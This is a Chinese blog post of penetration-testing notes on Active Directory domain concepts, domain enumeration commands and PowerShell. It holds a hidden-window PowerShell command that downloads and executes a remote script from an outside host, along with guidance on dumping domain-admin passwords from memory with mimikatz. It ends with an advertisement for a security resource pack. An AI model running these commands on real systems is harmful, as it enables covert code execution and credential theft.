“感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友。您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!🚀✨”
目录
- 工作组
- 活动目录
- DMZ
- 域Domain
- 域控制器DC
- 单域
- 父域 子域
- 域树
- 域林
- 域名服务器
- 域收集
- 判断 在域内/IP/管理员
- 域内权限
- 控制主机判断
- 域渗透思路
- 本地主机和域成员主机
- 密码收集
- PowerShell
- ps1文件
- 执行策略
- 绕过本地策略执行
- 绕过本地权限并隐藏执行
- 下载远程脚本绕过权限并隐藏执行
- 运行脚本
- 管道
- 命令
- 本地工作组收集
- 工具信息收集
传输内网指的是局域网,即一个范围内多个通信设备组成的网络,在这个局域网内,计算机之间可以实现通信,文件传输,软件硬件的共享
工作组
Work Group
是最常见最简单普通的资源管理模式,将不同的电脑按功能分别列入不同的组内,已方便管理,如果不进行分组管理,那么会相当混乱,在工作组所有的计算机都是平等的,没有管理和被管理之分,因为工作组也被称为对等网络,
但是工作组的管理方式 有时候不太便于管理,这个时候就也了域的概念
活动目录
活动目录 Active Directory
,简写为
AD
,目录中包含了有关各种对象,列入用户,用户组,计算域,组织单位,以及安全策略的信息,目录存储在域控上,并且可以被网络应用程序或者服务所访问,相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置
活动目录主要提供的功能
账号集中管理:所有账号存储在服务器中,方便执行命令。
软件集中管理:统一推送软件,安装网络打印机。
增强安全性:统一部署杀毒软件,病毒扫描任务,集中管理计算机权限,统一制定用户密码策略等。
DMZ
DMZ demilitarized zone
,中文名为隔离区,或称"非军事区",它是为了解决,安装防火墙后外部网络的访问,用户不能访问内部网络服务器问题,从而
设立一个非安全系统与安全系统之间的缓冲区
DMZ
区可以理解为特殊网络区域,不同于外网或内网的特殊网络区域,通常放置一些不含机密信息的公用服务器, 比如WEB
服务器,E-Mail
服务器、FTP
服务器等,这样外网攻击者只能访问DMZ
区服务,但是不可能接触到内网中的信息,即使
DMZ
中服务器受到破坏,也不会对内网中的信息造成影响
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/b878364a2b97493097bfd11e70222972.png#pic_center)
域Domain
可以理解为工作组的升级版,它有比工作组更严格的控制,在域模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器
域控制器DC
Domain Controller
域控制器中包含了,这个域的账户、密码、属于这个域的计算机等信息构成的数据库,
当电脑连入网络时,域控制器首先要进行鉴别,如果信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源
,域控制器在域中是一个相当重要的角色 , 域控制器相当于整个域的通信枢纽,所有权限身份验证和账号,密码都在域控制器上。
1.鉴别这台电脑是否是属于这个域的
2.用户使用的登录账号是否存在
3.密码是否正确
--------------------------------------------
注意:
正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。
拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码,我们所进行的所有操作都会下发到所有的主机中
想要实现域环境,必须计算机中安装活动目录,也可以是内网中的一天计算机安装了活动目录,那么安装了的计算机就变成了域控制器,域中除了域控制器,还有成员服务器,客户机
独立服务器
单域
对于一个只有十几台计算机的小公司,建立一个域就够了,一个域至少需要两台DC
(域服务器),一个作为主要服务器,一台作为备用,因为用户的账户密码信息都存储在DC
中,通过主服务器防止单点故障问题
父域 子域
顾名思义,在一个域下新建一个域边称为子域,大的域称为父域,名下新建的域称为子域,每个域子都有独立的安全策略
域树
child.Microsoft.com
域林由多个域组成,这些域共享同一个表结构和配置,形成一个连续的名字空间,树中的域通过信任关系连接起来,活动目录包含一个或多个域树,域树中的域层次越深级别越低
一个 . 代表一个层次
域 child.Microsoft.com 比 Microsoft.com 级别低,因为前者有2层后者只有1层
域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低,
道理一样。他们都属于同一个域树。Child.Microsoft.com就属于Microsoft.com的子域
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/0a19af7429b647dab27efd18d9432f26.png#pic_center)
域林
多个域树可以组成一个域林,域森林是指多个域树通过建立信任关系组成的集合,例如web.net域树是无法挂载到web.com域树中,那么这两个域树就可以通过建立信任关系组成域森林,从而实现资源共享,方便管理树
域林和域树区别?
域林之间没有形成连续的名字空间,域树是由一些具有连续名字空间的域组成
域林中的所有域树继续共享同一个表结构、配置、全家目录,域林中的所有域树通过Kerberos
信任关系建立起来
,不同域树可以交叉引用其他域树中的对象。域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系.
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/3a9ce8ce589c40328841d4c0fd8ff24b.png#pic_center)
域名服务器
域名服务器(Domain Name Server,DNS)是用于实现域名和IP地址转换的服务器。
域收集
判断 在域内/IP/管理员
net view /domain // 列出当前域中的计算机,管理员有用查看域内计算机资源
运行此命令需要具有适当的权限。只有具有域管理员或网络管理员权限的用户才能成功运行该命令。
net time /domain // 显示当前域中计算机的时间
C:\Users\月>net time /domain
找不到域 WORKGROUP 的域控制器。
当在Windows域环境中运行此命令时,它将显示当前域控制器的时间,以及其他域成员计算机的时间
对于管理员来说是有用的,可以确保域中所有计算机的时间同步,并且可以检查是否存在任何时间偏差。
ipconfig /all // 判断是否在域环境下
PS C:\Users\月> ipconfig /all
Windows IP 配置
主机名 . . . . . . . . . . . . . : DESKTOP-LIUHT7O
主 DNS 后缀 . . . . . . . . . . . :
一般都会有一个DNS服务器来解析的,我这里没有代表不是在域环境下,有的话就是在域环境下
定位域 IP
net time /domain 显示域控的网址 拿到这个网址比如 baidu.com
ping baidu.com 。。。 得出 IP
定位域管理员账户
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup adminstrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控 domain controllers(DC)
域管理员 or 域控
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/322156ebfbf24bb5bb307e216d1c1fe1.png#pic_center)
域内权限
组的概念是包含了许多用户,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行了,提高了工作效率,常见的组有 : 域本地组 全局组 通用组
域本地组 :
成员范围:所有的域;使用范围:自己所在的域
全局组 :
成员范围:自己所在的域;使用范围:所有的域
通用组 :
成员范围:所有的域;使用范围:所有的域
--------------------------------------------------------
A-G-DL-P 策略:
A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
A 表示用户账号
G 表示全局组
U 表示通用组
DL 表示域本地组
P 表示资源权限
控制主机判断
1. 当前机器角色的判断
2. 当前机器网络环境的判断
3. 当前机器环境功能判断
内网横向移动最终就是拿下域控的权限,有了它就可以操作整个主机控制
域渗透思路
通过域成员主机 定位出域控制器IP
域管理员密码,利用域成员主机作为跳板,扩大渗透范围,
利用域管理员可以登录域内任何成员主机的特性,定位出域管理员登录过的主机IP设法从域成员主机内存中dump
出域管理员密码,进而拿下域控制器渗透整个内网
本地主机和域成员主机
A
域成员
执行一些操作并且域控器设置了不允许安装,是会触发域控管理员的 然后会提示你输入管理员的账户密码才可以进行操作 root/saber
B
本地用户
不受影响 因为它不属于域成员 my/saber
安装等其他操作均不受影响
密码收集
域控安装系统或软件下发到其他主机上,会存在密码的通用性,默认密码没有更改
mimikatz windows
工具获取读取到他人登录过的痕迹 ,提权 system
使用密码工具进行抓取,读取不到的情况可能是LSA保护,LSA保护可以防止未经授权的进程修改LSA进程的内存
系统密码
浏览器密码
数据库密码
代理
网络不可达,理解为网络没有网,或者说限制的非常厉害 出不来
但是可以代理解决网络通讯问题就是 他和协议没有关系
隧道
隧道技术解决协议不出网
PowerShell
理解为CMD
高级版,cmd可以做的时候PowerShell
也可以完成,并且还可以做需要她做不到的事情,.它是构建在.NET
平台上的,所有命令传递的都是.NET
对象
特点:
Windows 7 以上的操作系统默认安装
PowerShell 脚本可以运行在内存中,不需要写入磁盘
可以从另一个系统中下载 PowerShell 脚本并执行
目前很多工具都是基于 PowerShell 开发的
很多安全软件检测不到 PowerShell 的活动
cmd 通常会被阻止运行,但是 PowerShell 不会
可以用来管理活动目录
Get-Host
or $PSVersionTable
查看 PowerShell
版本:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/e482014e024349509fba4bc9ae378ba4.png#pic_center)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/d884d9d3cb6843a29a51eb48748b4c3d.png#pic_center)
ps1文件
它是PowerShell
的脚本拓展名,一个PowerShell
脚本文件其实就是一个简单的文本文件
执行策略
防止恶意脚本在PowerShell
被运行,它存在一个执行策略,默认情况下它是受限模式,Restricted
。
通过Get-ExecutionPolicy
命令查看当前执行策略
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/4df0f9a36183457eb227f1f5a46eeed1.png#pic_center)
常见的执行策略:
Restricted:不能运行脚本
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行
(除非它们拥有由受信任的发布者签署的数字签名)
AllSigned:仅当脚本由受信任的发布者签名才能运行
Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名
使用 Set-Set-ExecutionPolicy 策略名
设置执行策略,但是需要管理员权限
Set-ExecutionPolicy Unrestricted
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/cbf0dbb2b7434712ad76560195b82d59.png#pic_center)
绕过本地策略执行
上面笔记说了默认情况下,PowerShell
的执行策略是Restricted
受限模式,导致我们在渗透测试中,需要采用方法绕过这个策略,执行我们的脚本文件
-ExecutionPolicy Bypass
绕过受限
cat .\t.ps1echo "Hello TeamsSix"PS C:\Users\teamssix> PowerShell.exe
-ExecutionPolicy Bypass -File t.ps1hello TeamsSix
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/bed74bbc779743dbaeeb6eef19fbb7b1.png#pic_center)
绕过本地权限并隐藏执行
-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile
即可隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File t.ps1
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/74cf5d0b734344caa51eeff18a432960.png#pic_center)
下载远程脚本绕过权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile
"IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
运行脚本
运行方式和其他的Shell
基本一致,可以输入完整的路径,也可以到ps1
文件所在目录运行
管道
PowerShell
中的管道类似于linux
中的管道,都是将前一个命令的输出作为另一个命令的输出,两个命令之间使用 '|'
进行连接
Get-Process | Sort-Object ID
Get-Process: 用于获取当前系统中正在运行的进程列表。它返回进程的名称、ID、CPU使用情况
Sort-Object: 用于对输入的对象进行排序
所以二者使用管道符连接起来就是对当前进程进行排序,将前一个命令的输出组为另一个命令的输出
命令
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value "hello"
给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt
![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/543af36998ac4fbca1c6fd4e60c3796e.png#pic_center)
本地工作组收集
1.查看当前权限
C:\Users\月>whoami
desktop-liuht7o\月
--------------------------------------
2. 本机网络配置信息
C:\Users\月>ipconfig /all
Windows IP 配置
主机名 . . . . . . . . . . . . . : DESKTOP-LIUHT7O
主 DNS 后缀 . . . . . . . . . . . :
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
以太网适配器 vEthernet (WSL):
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter
物理地址. . . . . . . . . . . . . : 00-15-5D-E5-1F-66
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::b86f:a481:2577:be29%60(首选)
IPv4 地址 . . . . . . . . . . . . : 172.21.64.1(首选)
子网掩码 . . . . . . . . . . . . : 255.255.240.0
默认网关. . . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 1006638429
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-2B-9C-AE-9D-B0-25-AA-54-70-20
TCPIP 上的 NetBIOS . . . . . . . : 已启用
无线局域网适配器 本地连接* 3:
------------------------------------------------
3. 操作系统和版本信息
C:\Users\月>systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
OS 名称: Microsoft Windows 11 家庭中文版
OS 版本: 10.0.22621 暂缺 Build 22621
-----------------------------------------------
4. 查看系统体系结构
C:\Users\月>echo %PROCESSOR_ARCHITECTURE%
AMD64
----------------------------------------------
5. 查看系统所有环境变量
C:\Users\月>set
ALLUSERSPROFILE=C:\ProgramData
ANALYSIS_PATH=D:\Runner\
APPCODE_VM_OPTIONS=E:\Java资源\IDEA重置\jetbra\vmoptions\appcode.vmoptions
APPDATA=C:\Users\月\AppData\Roaming
CATALINA_HOME=B:\tomcat\apache-tomcat-8.5.93
ChocolateyInstall=C:\ProgramData\chocolatey
ChocolateyLastPathUpdate=133373369989314223
CLASSPATH=.;E:\jdk \lib
---------------------------------------------
6. 查看安装的软件及版本和路径等信息
C:\Users\月>wmic product get name,version
Name Version
Python 3.10.2 Executables (64-bit) 3.10.2150.0
Python 3.10.2 Core Interpreter (64-bit) 3.10.2150.0
Python 3.10.2 Tcl/Tk Support (64-bit) 3.10.2150.0
Python 3.10.2 Utility Scripts (64-bit) 3.10.2150.0
Python 3.10.2 Standard Library (64-bit)
----------------------------------------------
7. 查看当前用户
net user
PS C:\Users\月> net user
\\DESKTOP-LIUHT7O 的用户帐户
----------
Administrator DefaultAccount Guest
WDAGUtilityAccount 月
命令成功完成。
----------------------------------------------
其他命令慢慢百度补充
SPN
服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作
学习计划安排
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你对网络安全入门感兴趣,那么你需要的话可以
点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析